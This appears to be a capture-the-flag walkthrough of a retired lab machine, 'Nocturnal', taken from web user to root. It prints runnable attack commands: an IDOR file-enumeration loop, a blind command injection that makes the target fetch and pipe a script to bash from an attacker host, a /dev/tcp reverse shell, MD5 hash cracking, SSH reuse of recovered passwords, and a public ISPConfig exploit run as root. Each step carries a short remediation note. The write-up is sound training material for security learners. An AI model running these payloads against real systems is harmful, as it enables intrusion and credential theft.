Nocturnal
Summary
Nocturnal is a PHP note-taking application, and everything up to root is a question of who is allowed to ask for what. Its document store serves any file whose name you supply, without checking whose it is, and one user's document holds a temporary password in plain text inside an .odt — which is a zip archive, so the password is not even encoded.
That account reaches an administrative page whose ?view= parameter prints the application's own source, and the source shows a backup routine that pastes the submitted password into a shell command after sanitising it for path traversal and nothing else. The injection reflects no output, so it is driven blind, with the target fetching a script from a listener of mine.
From that shell the SQLite database named in the source gives up unsalted MD5 hashes; one cracks, and the same string is a system password, which turns a web compromise into an SSH session. Root is a control panel listening on loopback — invisible to a port scan, one SSH forward away — running as root at a version whose language editor writes PHP into a file the panel later includes.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for amanda>"
export PASSWORD2="<the-password-you-recovered, for tobias>"
export PASSWORD3="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Some commands also carry a value in angle brackets — <a-name-you-choose>, <the-edb-id-from-the-line-above>, <the-hash-for-tobias>, <the-path-just-found>, <the-script-just-copied> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Two ports, and the web server redirects to a vhost.
$ nmap -sV -sC -p 22,80 --min-rate 5000 $TARGETThe name has to resolve locally before the vhost answers.
$ echo "$TARGET nocturnal.htb" | sudo tee -a /etc/hostsAn account of my own, which is all the document store asks for.
$ curl -sS -c jar.txt -X POST http://nocturnal.htb/register.php --data-urlencode 'username=<a-name-you-choose>' --data-urlencode "password=$CHOSEN_PASSWORD"Exact commands 3
Two short lists. A 200 among the 404s is the whole finding.
$ for u in admin amanda tobias; do for f in privacy credentials passwords notes; do printf '%s_%s.odt ' "$u" "$f"; curl -sS -b jar.txt -o /dev/null -w '%{http_code}\n' "http://nocturnal.htb/view.php?username=$u&file=${u}_${f}.odt"; done; doneDownloaded with my own session, which the store never questioned.
$ curl -sS -b jar.txt -o amanda_privacy.odt "http://nocturnal.htb/view.php?username=amanda&file=amanda_privacy.odt"An .odt is a zip. content.xml is the document, tags and all -> the temporary password in plain text.
$ unzip -p amanda_privacy.odt content.xml | sed -e 's/<[^>]*>/ /g' | tr -s ' 'FixCheck who owns a file before serving itHigh
Exact commands 3
The application accepts it. SSH with the same value does not, which is the answer to the obvious next idea.
$ curl -sS -c amanda.jar -X POST http://nocturnal.htb/login.php --data-urlencode 'username=amanda' --data-urlencode "password=$PASSWORD"The page reads files, including itself. The Create Backup handler is at the bottom of it.
$ curl -sS -b amanda.jar "http://nocturnal.htb/admin.php?view=admin.php"Where the users are stored, and what the sanitiser actually removes.
$ curl -sS -b amanda.jar "http://nocturnal.htb/admin.php?view=view.php" | grep -iE 'sqlite|\.db|sanitize'FixDo not put passwords in documents, and do not let an admin page read sourceCritical
Exact commands 5
--directory, because the shell's working directory is not what serves the file.
$ python3 -m http.server 8000 --directory /tmpWritten where the server above is looking.
$ printf "#!/bin/bash\nbash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\n" > /tmp/rev.shThe listener the script connects back to.
$ nc -lvnp 4444Proof first: a request arriving at my own web server is the only output a blind injection gives.
$ curl -sS -b amanda.jar -X POST http://nocturnal.htb/admin.php --data-urlencode $'backup=1&password=x\ncurl http://'"$ATTACKER_IP"$':8000/ping\n'The newline ends zip's -P argument; everything after it is a command of mine.
$ curl -sS -b amanda.jar -X POST http://nocturnal.htb/admin.php --data-urlencode $'backup=1&password=x\ncurl http://'"$ATTACKER_IP"$':8000/rev.sh|bash\n'FixShell-quote backup parameters and replace shell invocation with a native PHP libraryCritical
Exact commands 4
From the www-data shell. The path in the source is relative; this is where it actually sits.
$ find / -name 'nocturnal_database.db' 2>/dev/nullUnsalted MD5, which is a wordlist away from plaintext.
$ sqlite3 <the-path-just-found> 'select username, password from users;'Mode 0 is raw MD5. The absence of a salt is what makes this quick.
$ hashcat -m 0 -a 0 <the-hash-for-tobias> /usr/share/wordlists/rockyou.txtThe web password is the system password -> <user.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no tobias@$TARGET 'id; cat ~/user.txt'FixEnforce unique credentials per service and disable SSH password authenticationHigh
Exact commands 6
From tobias's session. A service on loopback is one the port scan could not reach.
$ ss -ltnp | grep 127.0.0.1The forward makes the target's loopback my own, on the same port.
$ ssh -L 8080:127.0.0.1:8080 tobias@$TARGETThe same password again, on the panel this time. The cookie jar carries the session into the next request.
$ curl -sS -c isp.jar -X POST http://127.0.0.1:8080/index.php --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data-urlencode 's_mod=login' --data-urlencode 's_pg=index'The language-editor injection has a published proof of concept; this is its Exploit-DB entry.
$ searchsploit -w ispconfig | grep -i '3\.2'Copies the script into the working directory rather than retyping the request shape by hand.
$ searchsploit -m <the-edb-id-from-the-line-above>It authenticates, writes the PHP into a language file and requests it back. The panel runs as root, so the command does -> <root.txt>
$ python3 <the-script-just-copied> http://127.0.0.1:8080 admin "$PASSWORD3" 'cat /root/root.txt'FixPatch the control panel, and stop it sharing a password with the web applicationCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.